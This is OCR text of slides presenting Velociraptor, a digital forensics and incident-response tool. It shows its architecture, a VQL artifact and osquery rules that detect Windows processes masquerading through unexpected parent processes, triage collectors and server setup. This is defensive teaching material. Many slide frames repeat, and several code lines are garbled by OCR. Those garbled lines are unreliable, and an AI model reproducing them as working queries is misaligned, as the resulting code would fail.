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Who are we?

Dr Michael Cohen (scudette)

» Digital forensic software developer

* Developer of Volatility and Rekall

* Former lead developer of Grr at Google
Nick Klein

* Director of Klein & Co. DFIR team

* SANS DFIR Certified Instructor
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What’s the need?

* Deep visibility of endpoints is a game changer for:
» digital forensic investigations
* threat hunting
 cyber breach response
» operational security monitoring.

* Few current tools offer network-wide deep forensic
analysis

* We’re building (and using) Velociraptor to address this
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Technical overview
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Veloctraptor acchitecture
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Veloctraptor acchitecture

A single executable (OS specific) which can be a server or a client
No libraries, no external dependencies

* Server and client config files are plain text

No database - data stores and file stores are just files on disk
Velociraptor can process data on the clients and the server

You can customise many elements:
« Communication ports
* Executable names and locations
* Data locations
» Service name and descriptions
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Key principles

* The core feature of
Velociraptor is the
Velociraptor Query Language
(VQL) which is an expressive

language providing power
and flexibility

* We use VQL to construct
Velociraptor artefacts

* Velociraptor artefacts
encapsulate DFIR knowledge,

so users don’t need to be
DFIR experts
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Key principles

We have questions to answer
e.g. What programs were executed?

We know where to look
e.dg. shimcache, prefetch, exe’s on disk

-

We have
these

We use VQL to build Velociraptor artefacts
that encapsulate this knowledge

L/

N

We need We use these same artefacts everywhere
these to collect, analyse and monitor endpoints

-
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name: Windows.Attack.ParentProcess
description: |
Maps the Mitre Att&ck framework process executions into artifacts.

### References:
* https://www.sans.org/security-resources/posters/hunt-evil/165/download
* https://github.com/teoseller/osquery-attck/blob/master/windows-incorrect_parent_process.conf

precondition: SELECT 0S From info() where 0S = 'windows'

parameters:
- name: lookupTable
default: |
ProcessName, ParentRegex
smss.exe,System
runtimebroker.exe,svchost.exe
taskhostw.exe, svchost.exe
services.exe,wininit.exe
lsass.exe,wininit.exe
svchost.exe, services.exe
cmd.exe,explorer.exe
powershell.exe,explorer.exe
iexplore.exe,explorer.exe
firefox.exe,explorer.exe
chrome.exe,explorer.exe

sources:
- queries:
# Build up some cached queries far cneed.
- LET lookup <= SELECT * FROM parse_csv(filename=lookupTable, accessor='data')
— LET processes <= SELECT Name, ria, rpila, LommanaLine, Lreatelime, txe rRuM psliit(,
— LET processes_lookup <= SELECT Name As ProcessName, Pid As ProcID FROM processes
-
// Resolve the Ppid into a parent name using our processes_lookup
LET resolved_parent_name = SELECT * FROM foreach(
row={ SELECT x FROM processes},
query={
SELECT Name AS ActualProcessName,
ProcessName AS ActualParentName,
Pid, Ppid, CommandLine, CreateTime, Exe
FROM processes_lookup
WHERE ProcID = Ppid LIMIT 1
)]

// Get the expected parent name from the table above.
SELECT * FROM foreach(
row=resolved_parent_name,
query={
SELECT ActualProcessName,
ActualParentName,
Pid, Ppid, CommandLine, CreateTime, Exe,
ParentRegex as ExpectedParentName
FROM lookup
WHERE ActualProcessName =~ ProcessName AND NOT ActualParentName =~ ParentRegex
9]

Metadata

Parameters provide
easy customisation
of things to look for

VQL functions and
plugins provide
capabilities
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name: Windows.Attack.ParentProcess
descrintion: |

! namef Windbws.Attack.PafentProcess

( description: |

Maps the Mitre Att&ck framework process executions into artifacts.

[
f ### References:

|

* https://www.sans.org/security-resources/posters/hunt-evil/165/download

* https://github.com/teoseller/osquery—-attck/blob/master/windows-incorrect_parent_process.conf '
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lsass.exe,wininit.exe easy CUStomlsatlon

svchost.exe, services.exe

cmd.exe,explorer.exe °

powershell.exe,explorer.exe Of th] ngs to lOOk for
iexplore.exe,explorer.exe

firefox.exe,explorer.exe

chrome.exe,explorer.exe

sources:
- queries:
# Build up some cached queries far cneed.
- LET lookup <= SELECT * FROM parse_csv(filename=lookupTable, accessor='data')
— LET processes <= SELECT Name, ria, rpila, LommanaLine, Lreatelime, txe rRuM psliit(,
— LET processes_lookup <= SELECT Name As ProcessName, Pid As ProcID FROM processes
- |
// Resolve the Ppid into a parent name using our processes_lookup
LET resolved_parent_name = SELECT * FROM foreach( .
row={ SELECT x FROM processes}, VQL f t d
AR Uunctions an
SELECT Name AS ActualProcessName, o o
ProcessName AS ActualParentName, pl g p d
Pid, Ppid, CommandLine, CreateTime, Exe u ]nS rOV] e
FROM processes_lookup

WHERE ProcID = Ppid LIMIT 1 Capabi lities

}

// Get the expected parent name from the table above.
SELECT * FROM foreach(
row=resolved_parent_name,

query={
SELECT ActualProcessName, )
ActualParentName,
Pid, Ppid, CommandLine, CreateTime, Exe,
ParentRegex as ExpectedParentName
FROM lookup

WHERE ActualProcessName =~ ProcessName AND NOT ActualParentName =~ ParentRegex
1)
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name: Windows.Attack.ParentProcess
description: |
Maps the Mitre Att&ck framework process executions into artifacts.

### References:
* https://www.sans.org/security-resources/posters/hunt-evil/165/download
* https://github.com/teoseller/osquery-attck/blob/master/windows-incorrect_parent_process.conf

precondition: SELECT 0S From info() where 0S = 'windows'

parameters:
- name: lookupTable
default: |
ProcessName, ParentRegex
smss.exe,System
runtimebroker.exe,svchost.exe
taskhostw.exe, svchost.exe
services.exe,wininit.exe
lsass.exe,wininit.exe
svchost.exe, services.exe
cmd.exe,explorer.exe
powershell.exe,explorer.exe
iexplore.exe,explorer.exe
firefox.exe,explorer.exe
chrome.exe,explorer.exe

sources:
- queries:
# Build up some cached queries far cneed.
- LET lookup <= SELECT * FROM parse_csv(filename=lookupTable, accessor='data')
— LET processes <= SELECT Name, ria, rpila, LommanaLine, Lreatelime, txe rRuM psliit(,
— LET processes_lookup <= SELECT Name As ProcessName, Pid As ProcID FROM processes
-
// Resolve the Ppid into a parent name using our processes_lookup
LET resolved_parent_name = SELECT * FROM foreach(
row={ SELECT x FROM processes},
query={
SELECT Name AS ActualProcessName,
ProcessName AS ActualParentName,
Pid, Ppid, CommandLine, CreateTime, Exe
FROM processes_lookup
WHERE ProcID = Ppid LIMIT 1
)]

// Get the expected parent name from the table above.
SELECT * FROM foreach(
row=resolved_parent_name,
query={
SELECT ActualProcessName,
ActualParentName,
Pid, Ppid, CommandLine, CreateTime, Exe,
ParentRegex as ExpectedParentName
FROM lookup
WHERE ActualProcessName =~ ProcessName AND NOT ActualParentName =~ ParentRegex
9]
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1 name: Windows.Attack.ParentProcess
description: |

3 Maps the Mitre Att&ck framework process executions into artifacts.
Metadata fo.r ;1 ##: References: p Metadata
understanding | e e T ATt oo
[ parameters:
- name: lookupTable

[ default: |

ProcessName, ParentRegex :
( smss.exe,System |

runtimebroker.exe,svchost.exe
taskhostw.exe,svchost.exe

( services.exe,wininit.exe
lsass.exe,wininit.exe

: svchost.exe,services.exe
( cmd.exe,explorer.exe
powershell.exe,explorer.exe
L iexplore.exe,explorer.exe |
I firefox.exe,explorer.exe
chrome.exe,explorer.exe ;
WUCI ITDO 42 WHERE ProcID = Ppid LIMIT 1 Cca pa D] l] t]eS
jz 19}
jg i }/ Get the expected parent name from the table above.
47 SELECT * FROM foreach(
48 row=resolved_parent_name,
49 query={
50 SELECT ActualProcessName, )
51 ActualParentName,
52 Pid, Ppid, CommandLine, CreateTime, Exe,
53 ParentRegex as ExpectedParentName w
54 FROM lookup

55 WHERE ActualProcessName =~ ProcessName AND NOT ActualParentName =~ ParentRegex
56 1)



Metadata for
understanding
purpose,
functions,
resources and

contribglors neters

Queries can be
split into sub-
queries for easy
understanding and
modification

Queries

19
20
21
22
23
pL
25
26

2°
29
30
31
32
33
34
35

37
38
39
40
41
42
43
Ly

46
47
48
49
50
51
52
53
54
55
56

name: Windows.Attack.ParentProcess
description: |
Maps the Mitre Att&ck framework process executions into artifacts.

### References:
* https://www.sans.org/security-resources/posters/hunt-evil/165/download
* https://github.com/teoseller/osquery-attck/blob/master/windows-incorrect_parent_process.conf

precondition: SELECT 0S From info() where 0S = 'windows'

parameters:
- name: lookupTable
default: |
ProcessName, ParentRegex
smss.exe,System
runtimebroker.exe,svchost.exe
taskhostw.exe, svchost.exe
services.exe,wininit.exe
lsass.exe,wininit.exe
svchost.exe, services.exe
cmd.exe,explorer.exe
powershell.exe,explorer.exe
iexplore.exe,explorer.exe
firefox.exe,explorer.exe
chrome.exe,explorer.exe

sources:
- queries:
# Build up some cached queries far cneed.
- LET lookup <= SELECT * FROM parse_csv(filename=lookupTable, accessor='data')
— LET processes <= SELECT Name, ria, rpila, LommanaLine, Lreatelime, txe rRuM psliit(,
— LET processes_lookup <= SELECT Name As ProcessName, Pid As ProcID FROM processes
-
// Resolve the Ppid into a parent name using our processes_lookup
LET resolved_parent_name = SELECT * FROM foreach(
row={ SELECT x FROM processes},
query={
SELECT Name AS ActualProcessName,
ProcessName AS ActualParentName,
Pid, Ppid, CommandLine, CreateTime, Exe
FROM processes_lookup
WHERE ProcID = Ppid LIMIT 1
)]

// Get the expected parent name from the table above.
SELECT * FROM foreach(
row=resolved_parent_name,
query={
SELECT ActualProcessName,
ActualParentName,
Pid, Ppid, CommandLine, CreateTime, Exe,
ParentRegex as ExpectedParentName
FROM lookup
WHERE ActualProcessName =~ ProcessName AND NOT ActualParentName =~ ParentRegex
9]

Metadata

Parameters provide
easy customisation
of things to look for

VQL functions and
plugins provide
capabilities



1 name: Windaws.Attack.ParentProcess

Metad sources.

- queries:
undel‘j # Build up some cached queries fnr cnead
- LET lookup <= SELECT * FROM parse_csv(filename=1lookupTable, accessor='data"')
pUI'pOf - LET processes <= SELECT Name, ria, rpla, LommanaLline, Lreateliime, tExe rKum pslist()
functi - ?ET processes_lookup <= SELECT Name As ProcessName, Pid As ProcID FROM processes
resour // Resolve the Ppid into a parent name using our processes_lookup rovide
t . LET resolved_parent_name = SELECT *x FROM foreach( p
contri row={ SELECT * FROM processes}, nisation
query={
SELECT Name AS ActualProcessName, look for
} ProcessName AS ActualParentName,
QUGI']( Pid, Ppid, CommandLine, CreateTime, Exe
P FROM processes_lookup
split ii WHERE ProcID = Ppid LIMIT 1
querie H
under = :
modif // Get the expected parent name from the table above. ions and
SELECT * FROM foreach( rovide
row=resolved_parent_name, p X
query={ abilities
SELECT ActualProcessName,
ActualParentName,
Pid, Ppid, CommandLine, CreateTime, Exe,
ParentRegex as ExpectedParentName
FROM lookup o
WHERE ActualProcessName =~ ProcessName AND NOT ActualParentName =~ ParentRegex w
})



Metadata for
understanding
purpose,
functions,
resources and

contribglors neters

Queries can be
split into sub-
queries for easy
understanding and
modification

Queries

19
20
21
22
23
pL
25
26

2°
29
30
31
32
33
34
35

37
38
39
40
41
42
43
Ly

46
47
48
49
50
51
52
53
54
55
56

name: Windows.Attack.ParentProcess
description: |
Maps the Mitre Att&ck framework process executions into artifacts.

### References:
* https://www.sans.org/security-resources/posters/hunt-evil/165/download
* https://github.com/teoseller/osquery-attck/blob/master/windows-incorrect_parent_process.conf

precondition: SELECT 0S From info() where 0S = 'windows'

parameters:
- name: lookupTable
default: |
ProcessName, ParentRegex
smss.exe,System
runtimebroker.exe,svchost.exe
taskhostw.exe, svchost.exe
services.exe,wininit.exe
lsass.exe,wininit.exe
svchost.exe, services.exe
cmd.exe,explorer.exe
powershell.exe,explorer.exe
iexplore.exe,explorer.exe
firefox.exe,explorer.exe
chrome.exe,explorer.exe

sources:
- queries:
# Build up some cached queries far cneed.
- LET lookup <= SELECT * FROM parse_csv(filename=lookupTable, accessor='data')
— LET processes <= SELECT Name, ria, rpila, LommanaLine, Lreatelime, txe rRuM psliit(,
— LET processes_lookup <= SELECT Name As ProcessName, Pid As ProcID FROM processes
-
// Resolve the Ppid into a parent name using our processes_lookup
LET resolved_parent_name = SELECT * FROM foreach(
row={ SELECT x FROM processes},
query={
SELECT Name AS ActualProcessName,
ProcessName AS ActualParentName,
Pid, Ppid, CommandLine, CreateTime, Exe
FROM processes_lookup
WHERE ProcID = Ppid LIMIT 1
)]

// Get the expected parent name from the table above.
SELECT * FROM foreach(
row=resolved_parent_name,
query={
SELECT ActualProcessName,
ActualParentName,
Pid, Ppid, CommandLine, CreateTime, Exe,
ParentRegex as ExpectedParentName
FROM lookup
WHERE ActualProcessName =~ ProcessName AND NOT ActualParentName =~ ParentRegex
9]

Metadata

Parameters provide
easy customisation
of things to look for

VQL functions and
plugins provide
capabilities



"platform": "windows",

"description": "ATT&CK: T1173,T1086,T1204,T1183",

"queries": {
"services.exe_incorrect_parent_process": {

"'query": "SELECT name as bad_parent_child_name, pid
bad_parent_child_pid FROM processes WHERE pid=(SELECT parent FROM
processes WHERE parent!=(SELECT pid from processes where
name='wininit.exe') AND LOWER(name)='services.exe') OR pid=(SELECT
pid FROM processes WHERE parent!=(SELECT pid from processes where
name='wininit.exe') AND LOWER(name)='services.exe');",

"interval": 60,

"description": "Detect processes masquerading as legitimate Windows
processes — ATT&CK T1204",

"removed": false

}l

"1sass.exe_incorrect_parent_process": i

""query": "SELECT name as bad_parent_child_name, pid
bad_parent_child_pid FROM processes WHERE pid=(SELECT parent FROM
processes WHERE parent!=(SELECT pid from processes where
name='wininit.exe') AND LOWER(name)='lsass.exe') OR pid=(SELECT
pid FROM processes WHERE parent!=(SELECT pid from processes where
name='wininit.exe') AND LOWER(name)='lsass.exe');",

"interval": 60,

"description": "Detect processes masquerading as legitimate Windows
processes — ATT&CK T1204",

"removed": false

+

"svchost.exe_incorrect_parent_process": {

""query": "SELECT name as bad_parent_child_name, pid
bad_parent_child_pid FROM processes WHERE pid=(SELECT parent FROM
processes WHERE parent!=(SELECT pid from processes where
name='services.exe') AND LOWER(name)='svchost.exe') OR pid=(SELECT
pid FROM processes WHERE parent!=(SELECT pid from processes where
name='services.exe') AND LOWER(name)='svchost.exe');",

"interval": 60,

"description": "Detect processes masquerading as legitimate Windows
processes — ATT&CK T1204",

"removed": false

}l

"cmd.exe_incorrect_parent_process": {

"query": "SELECT name as bad_parent_child_name, pid bad_parent_child_pid
FROM processes WHERE pid=(SELECT parent FROM processes WHERE
parent!=(SELECT pid from processes where name='explorer.exe') AND
LOWER(name)="'cmd.exe"') OR pid=(SELECT pid FROM processes WHERE
parent!=(SELECT pid from processes where name='explorer.exe') AND
LOWER(name)="cmd.exe');",

"interval": 680,

"description'": "Detect processes masquerading as legitimate Windows
processes — ATT&CK T1173,T1204",

"removed": false

}l

"powershell.exe_incorrect_parent_process": {

""query": "SELECT name as bad_parent_child_name, pid
bad_parent_child_pid FROM processes WHERE pid=(SELECT parent FROM
processes WHERE parent!=(SELECT pid from processes where
name="'explorer.exe') AND LOWER(name)='powershell.exe') OR
pid=(SELECT pid FROM processes WHERE parent!=(SELECT pid from
processes where name='explorer.exe') AND LOWER(
name)="'powershell.exe');",

"interval": 60,

"description": "Detect processes masquerading as legitimate Windows
processes — ATT&CK T1173,T1686,T1204",

omparison
between
osquery and
VQL for
checking
child-parent
process
relationships.

this goes for a while

name: Windows.Attack.ParentProcess
description: |
Maps the Mitre Att&ck framework process executions into artifacts.

### References:

* https://www.sans.org/security-resources/posters/hunt-evil/165/download
* https://github.com/teoseller/osquery-attck/blob/master/
windows-incorrect_parent_process.conf

precondition: SELECT 0S From info() where 0S = 'windows'

parameters:
- name: lookupTable
default: |

ProcessName, ParentRegex
smss.exe,System
runtimebroker.exe, svchost.exe
taskhostw.exe,svchost.exe
services.exe,wininit.exe
lsass.exe,wininit.exe
svchost.exe,services.exe
cmd.exe,explorer.exe
powershell.exe,explorer.exe
iexplore.exe,explorer.exe
firefox.exe,explorer.exe
chrome.exe,explorer.exe

sources:
- queries:
# Build up some cached queries for speed.
- LET lookup <= SELECT % FROM parse_csv(filename=1lookupTable,
accessor='data')
— LET processes <= SELECT Name, Pid, Ppid, CommandLine, CreateTime, Exe
FROM pslist()
- LET processes_lookup <= SELECT Name As ProcessName, Pid As ProcID
FROM processes
-
// Resolve the Ppid into a parent name using our processes_lookup
LET resolved_parent_name = SELECT * FROM foreach(
row={ SELECT * FROM processes},
query={
SELECT Name AS ActualProcessName,
ProcessName AS ActualParentName,
Pid, Ppid, CommandLine, CreateTime, Exe
FROM processes_lookup
WHERE ProcID = Ppid LIMIT 1
9]

= |
// Get the expected parent name from the table above.
SELECT * FROM foreach(
row=resolved_parent_name,
query={
SELECT ActualProcessName,
ActualParentName,
Pid, Ppid, CommandLine, CreateTime, Exe,
ParentRegex as ExpectedParentName
FROM lookup
WHERE ActualProcessName =~ ProcessName AND NOT ActualParentName
=~ ParentRegex

o)



"platform": "windows",

"description": "ATT&CK: T1173,T1086,T1204,T1183",

"queries": {
"services.exe_incorrect_parent_process": {

"'query": "SELECT name as bad_parent_child_name, pid
bad_parent_child_pid FROM processes WHERE pid=(SELECT parent FROM
processes WHERE parent!=(SELECT pid from processes where
name='wininit.exe') AND LOWER(name)='services.exe') OR pid=(SELECT
pid FROM processes WHERE parent!=(SELECT pid from processes where
name='wininit.exe') AND LOWER(name)='services.exe');",

"interval": 60,

"description": "Detect processes masquerading as legitimate Windows
processes — ATT&CK T1204",

"removed": false

}l

"1sass.exe_incorrect_parent_process": i

""query": "SELECT name as bad_parent_child_name, pid
bad_parent_child_pid FROM processes WHERE pid=(SELECT parent FROM
processes WHERE parent!=(SELECT pid from processes where
name='wininit.exe') AND LOWER(name)='lsass.exe') OR pid=(SELECT
pid FROM processes WHERE parent!=(SELECT pid from processes where
name='wininit.exe') AND LOWER(name)='lsass.exe');",

"interval": 60,

"description": "Detect processes masquerading as legitimate Windows
processes — ATT&CK T1204",

"removed": false

+

"svchost.exe_incorrect_parent_process": {

""query": "SELECT name as bad_parent_child_name, pid
bad_parent_child_pid FROM processes WHERE pid=(SELECT parent FROM
processes WHERE parent!=(SELECT pid from processes where
name='services.exe') AND LOWER(name)='svchost.exe') OR pid=(SELECT
pid FROM processes WHERE parent!=(SELECT pid from processes where
name='services.exe') AND LOWER(name)='svchost.exe');",

"interval": 60,

"description": "Detect processes masquerading as legitimate Windows
processes — ATT&CK T1204",

"removed": false

}l

"cmd.exe_incorrect_parent_process": {

"query": "SELECT name as bad_parent_child_name, pid bad_parent_child_pid
FROM processes WHERE pid=(SELECT parent FROM processes WHERE
parent!=(SELECT pid from processes where name='explorer.exe') AND
LOWER(name)="'cmd.exe"') OR pid=(SELECT pid FROM processes WHERE
parent!=(SELECT pid from processes where name='explorer.exe') AND
LOWER(name)="cmd.exe');",

"interval": 680,

"description'": "Detect processes masquerading as legitimate Windows
processes — ATT&CK T1173,T1204",

"removed": false

}l

"powershell.exe_incorrect_parent_process": {

""query": "SELECT name as bad_parent_child_name, pid
bad_parent_child_pid FROM processes WHERE pid=(SELECT parent FROM
processes WHERE parent!=(SELECT pid from processes where
name="'explorer.exe') AND LOWER(name)='powershell.exe') OR
pid=(SELECT pid FROM processes WHERE parent!=(SELECT pid from
processes where name='explorer.exe') AND LOWER(
name)="'powershell.exe');",

"interval": 60,

"description": "Detect processes masquerading as legitimate Windows
processes — ATT&CK T1173,T1686,T1204",

name: Windows.Attack.ParentProcess
description: |
Maps the Mitre Att&ck framework process executions into artifacts.

parameters:

- name: lookupTable

L/165/download

default: |

Comparisc
betweer
osquery at
VQL for
checking
child-parent
process
relationships.

... this goes for a while

ProcessName, ParentRegex
smss.exe,System
runtimebroker.exe,svchost.exe
taskhostw.exe,svchost.exe
services.exe,wininit.exe
lsass.exe,wininit.exe
svchost.exe,services.exe
cmd.exe,explorer.exe
powershell.exe,explorer.exe
iexplore.exe,explorer.exe
firefox.exe,explorer.exe
chrome.exe,explorer.exe

= LCI Pruces>es_LWURUP <= DCLLCUI Name As riovcessyame, Pid As ProcID
FROM processes
// Resolve the Ppid into a parent name using our processes_lookup
LET resolved_parent_name = SELECT * FROM foreach(
row={ SELECT * FROM processes},
query={
SELECT Name AS ActualProcessName,
ProcessName AS ActualParentName,
Pid, Ppid, CommandLine, CreateTime, Exe
FROM processes_lookup
WHERE ProcID = Ppid LIMIT 1
9]

= |
// Get the expected parent name from the table above.
SELECT * FROM foreach(
row=resolved_parent_name,
query={
SELECT ActualProcessName,
ActualParentName,
Pid, Ppid, CommandLine, CreateTime, Exe,
ParentRegex as ExpectedParentName
FROM lookup
WHERE ActualProcessName =~ ProcessName AND NOT ActualParentName
=~ ParentRegex

ipTable,

o)

2, CreateTime, Exe



ociraptor | View Artifacts X +
C A Not secure | hitps://localhost:8889/app.htm
Q Velocidex-01
+ 4 O
triage

Server.Analysis. Triage.PowershellConsole
Triage.Collection.Upload
Triage.Collection.UploadTable
Windows.Triage.Collectors.Amcache
Nindows.Triage.Collectors.BCD
Windows.Triage.Collectors.Chrome
Nindows.Triage.Collectors.Edge
Windows.Triage.Collectors.EventLogs
Windows.Triage.Collectors.EventTracelLogs
Windows.Triage.Collectors. Evidence OfExecution
Windows.Triage.Collectors.Firefox
Windows.Triage.Collectors.InternetExplorer
Windows.Triage.Collectors.Jabber
Windows.Triage.Collectors.LnkFiles
Windows.Triage.Collectors. NTFSMetadata
Windows.Triage.Collectors.OutlookPST
Windows.Triage.Collectors.PowershellConsoleLogs
Windows.Triage.Collectors.RecycleBin

Windows.Triage.Collectors.RegistryHives

Windows.Triage.Collectors.EventLogs
Type: client

Collect event log files.

Parameters
Name Default
Type,Accessor,Gleob
triageTable Eventlogs,ntfs,C:\ki \system32\winevt\logs\*.evtx
EventlLogs,ntfs,C:\Windows\system32\config\*.evt
Source

1 SELECT * FROM Artifact.Triage.Collection.UploadTable(triageTable=triageTable)
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odiraptor

View Artifacts X =+
C A Not secure | hitps://localhost:8889/app.html#/view_artifact
Q Velocidex-01 @ connected
+ & O
triage

[

MM
M
11
L
LN

m

Server.Analysis. Triage.PowershellConsole
Triage.Collection.Upload
Triage.Collection.UploadTable

~ O

‘e

‘-
- -

oA

Nindows. Triage.Collectors.Firefox
Windows.Triage.Collectors.InternetExplorer
Windows.Triage.Collectors.Jabber
Windows.Triage.Collectors.LnkFiles
Windows.Triage.Collectors. NTFSMetadata
Windows.Triage.Collectors.OutlookPST
Windows.Triage.Collectors.PowershellConsoleLogs
Windows.Triage.Collectors.RecycleBin

Windows.Triage.Collectors.RegistryHives

Windows.Triage.Collectors.EventLogs
Type: client

Collect event log files.

:\Windows\system32\winevt\logs\*.evix

—

:\Windows\system32\config\*¥.evt

1 SELECT * FROM Artifact.Triage.Collection.UploadTable(triageTable=triageTable)

.

£
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Secrver setup

C:\Program Files\Velociraptor>velociraptor-v@.3.1-windows-4.0-amd64.exe config generate -i




Secrver setup

L]
C:\Program Files\Velociraptor>velociraptor-ve.3.1-windows-4.0-amd64.exe config generate -i - Start the Conf]g generator




Secrver setup

cv»velociraptor-ve.3.1-windows-4.0-amd64.exe config generate -i :onfig generator




Secrver setup

.

C:\Program Files\Velociraptor>velociraptor-ve.3.1-windows-4.0-amd64.exe config generate -i - Start the Config generator

?
llelcome to the Velociraptor configuration generator

I will be creating a new deployment configuration for you. I will
begin by identifying what type of deployment you need.

Generating keys please wait....

? Enter the frontend port to listen on.

? What is the public DNS name of the Frontend (e.g. www.example.com):
? Path to the datastore directory.

? Path to the logs directory.

? Where should i write the server config file?

? Where should i write the client config file?

? GUI Username or email address to authorize (empty to end):

? GUI Username or email address to authorize (empty to end):




Secrver setup

C:\Program Files\Velociraptor>velociraptor-ve.3.1-windows-4.0-amd64.exe config generate -i Start the Config generator

bl
hdelcome to the Velociraptor configuration generator

I will be creating a new deployment configuration for you. I will
Jbegin by identifying what type of deployment you need.

Answer the questions

? Enter the frontend port to listen on.

What is the public DNS name of the Frontend (e.g. www.example.com):
Path to the datastore directory.

Path to the logs directory.

Where should i write the server config file?

Where should i write the client config file?

GUI Username or email address to authorize (empty to end):

GUI Username or email address to authorize (empty to end):

EYERVERVERVERVERVERY]




Secrver setup

C:\Program Files\Velociraptor>velociraptor-ve.3.1-windows-4.0-amd64.exe config generate -i

'Helcome to the Velociraptor configuration generator

I will be creating a new deployment configuration for you. I will
Jbegin by identifying what type of deployment you need.

fGenerating keys please wait....

? Enter the frontend port to listen on.

? What is the public DNS name of the Frontend (e.g. www.example.com):
Path to the datastore directory.

Path to the logs directory.

Where should i write the server config file?

Where should i write the client config file?

GUI Username or email address to authorize (empty to end):

GUI Username or email address to authorize (empty to end):

YV W Y]

C:\Program Files\Velociraptor>dir
Volume in drive C has no label.
Volume Serial Number is ©CF9-8FES

Directory of C:\Program Files\Velociraptor

©7/23/2019 ©9:09 AM <DIR>

©7/23/2019 ©9:09 AM <DIR> -

©7/23/2019 ©9:09 AM 1,959 client.config.yaml

©7/23/2019 ©9:09 AM 10,337 server.config.yaml

©7/15/2019 12:00 AM 32,105,280 velociraptor-ve.3.1-windows-4.0-amd64.exe
3 File(s) 32,117,576 bytes

2 Dir(s) 84,104,568,832 bytes free

C:\Program Files\Velociraptor>

Start the config generator

Answer the questions



Secrver setup

C:\Program Files\Velociraptor>velociraptor-ve.3.1-windows-4.0-amd64.exe config generate -i Start the Config generator

bl
hdelcome to the Velociraptor configuration generator

I will be creating a new deployment configuration for you. I will
Jbegin by identifying what type of deployment you need.

Answer the questions

? Enter the frontend port to listen on.

What is the public DNS name of the Frontend (e.g. www.example.com):
Path to the datastore directory.

Path to the logs directory.

Where should i write the server config file?

Where should i write the client config file?

GUI Username or email address to authorize (empty to end):

GUI Username or email address to authorize (empty to end):

EYERVERVERVERVERVERY]

C:\Program Files\Velociraptor>dir
Volume in drive C has no label.
Volume Serial Number is ©CF9-8FES

Directory of C:\Program Files\Velociraptor

07/23/2019 ©9:89 AM <DIR> ) 4
07/23/2019 ©9:09 AM <DIR> erver an C ]en

©7/23/2019 ©9:09 AM 1,953 client.config.yaml

©7/23/2019 ©9:09 AM 10,337 server.config.yaml ¢ 4

07/15/2015 12:00 AN 32,105,280 vetuetraptor b3 -huindous-a.0-andsd. exe config files are created
3 File(s) 32,117,576 bytes

2 Dir(s) 84,104,568,832 bytes free

C:\Program Files\Velociraptor>

0

V)




Secrver setup

C:\Program Files\Velociraptor>velociraptor-ve.3.1-windows-4.0-amd64.exe config generate -i Start the Config generator

|we1come to the Velociraptor configuration generator

I will be creating a new deployment configuration for you. I will
Jbegin by identifying what type of deployment you need.

Answer the questions

? Enter the frontend port to listen on.

What is the public DNS name of the Frontend (e.g. www.example.com):
Path to the datastore directory.

Path to the logs directory.

Where should i write the server config file?

Where should i write the client config file?

GUI Username or email address to authorize (empty to end):

GUI Username or email address to authorize (empty to end):

EYERVERVERVERVERVERY]

C:\Program Files\Velociraptor>dir

Volume in drive C has no label.

Volume Serial Number is ©CF9-8FE5

Directory of C:\Program Files\Velociraptor
©7/23/2019 ©9:09 AM <C .. °
67/23/2019 ©9:00 AN < erver and ctien

©7/23/2019 ©9:09 AM

W

07/23/2019 ©9:09 AM Clierlt.COf’l‘Fig_}.'aml

e | n -1 ° °

osnoe ey 7 server.config.yaml e config files are created
2 DIr(s) B P e S e S

C:\Program Files\Velociraptor>

0

V)




Secrver setup

C:\Program Files\Velociraptor>velociraptor-ve.3.1-windows-4.0-amd64.exe config generate -i Start the Config generator

bl
hdelcome to the Velociraptor configuration generator

I will be creating a new deployment configuration for you. I will
Jbegin by identifying what type of deployment you need.

Answer the questions

? Enter the frontend port to listen on.

What is the public DNS name of the Frontend (e.g. www.example.com):
Path to the datastore directory.

Path to the logs directory.

Where should i write the server config file?

Where should i write the client config file?

GUI Username or email address to authorize (empty to end):

GUI Username or email address to authorize (empty to end):

EYERVERVERVERVERVERY]

C:\Program Files\Velociraptor>dir
Volume in drive C has no label.
Volume Serial Number is ©CF9-8FES

Directory of C:\Program Files\Velociraptor

07/23/2019 ©9:89 AM <DIR> ) 4
07/23/2019 ©9:09 AM <DIR> erver an C ]en

©7/23/2019 ©9:09 AM 1,953 client.config.yaml

©7/23/2019 ©9:09 AM 10,337 server.config.yaml ¢ 4

07/15/2015 12:00 AN 32,105,280 vetuetraptor b3 -huindous-a.0-andsd. exe config files are created
3 File(s) 32,117,576 bytes

2 Dir(s) 84,104,568,832 bytes free

C:\Program Files\Velociraptor>

0

V)




Secver setup

)

C:\Program Files\Velociraptor>velociraptor-ve.3.1-windows-4.0-amd64

p)
Iwelcome to the Velociraptor configuration generator

I will be creating a new deployment configuration for you. I will
Jbegin by identifying what type of deployment you need.

fGenerating keys please wait....

? Enter the frontend port to listen on.

? What is the public DNS name of the Frontend (e.g. www.example.com
Path to the datastore directory.

Path to the logs directory.

Where should i write the server config file?

Where should i write the client config file?

GUI Username or email address to authorize (empty to end):

GUI Username or email address to authorize (empty to end):

EYIRVERVERVERVETY]

C:\Program Files\Velociraptor>dir
Volume in drive C has no label.
Volume Serial Number is ©CF9-8FES

Directory of C:\Program Files\Velociraptor

©7/23/2019 ©9:09 AM <DIR>

©7/23/2019 ©9:09 AM <DIR> ..

©7/23/2019 ©9:09 AM 1,953 client.config.yaml

©7/23/2019 ©9:09 AM 10,337 server.config.yaml

©7/15/2019 12:00 AM 32,105,286 velociraptor=ve. 3. i-windows-
3 File(s) 32,117,576 bytes

2 Dir(s) 84,104,568,832 bytes free

C:\Program Files\Velociraptor>

C:\Program Files\Velociraptor>velociraptor-ve.3.1-windows-4.0-amd64.exe --config server.config.yaml frontend -v




Secver setup

C:\Program Files\Velociraptor>velociraptor-ve.3.1-windows-4.0-amd64

bl
Iwelcome to the Velociraptor configuration generator

I will be creating a new deployment configuration for you. I will
Jbegin by identifying what type of deployment you need.

fGenerating keys please wait....

? Enter the frontend port to listen on.

? What is the public DNS name of the Frontend (e.g. www.example.com
Path to the datastore directory.

Path to the logs directory.

Where should i write the server config file?

Where should i write the client config file?

GUI Username or email address to authorize (empty to end):

GUI Username or email address to authorize (empty to end):

YV W Y]

C:\Program Files\Velociraptor>dir
Volume in drive C has no label.
Volume Serial Number is ©CF9-8FES

Directory of C:\Program Files\Velociraptor

©7/23/2019 ©9:09 AM <DIR>

©7/23/2019 ©9:09 AM <DIR> -

©7/23/2019 ©9:09 AM 1,953 client.config.yaml

©7/23/2019 ©9:09 AM 10,337 server.config.yaml

©7/15/2019 12:00 AM 32,105,286 velociraptor=ve. 3. i-windows-
3 File(s) 32,117,576 bytes

2 Dir(s) 84,104,568,832 bytes free

C:\Program Files\Velociraptor>

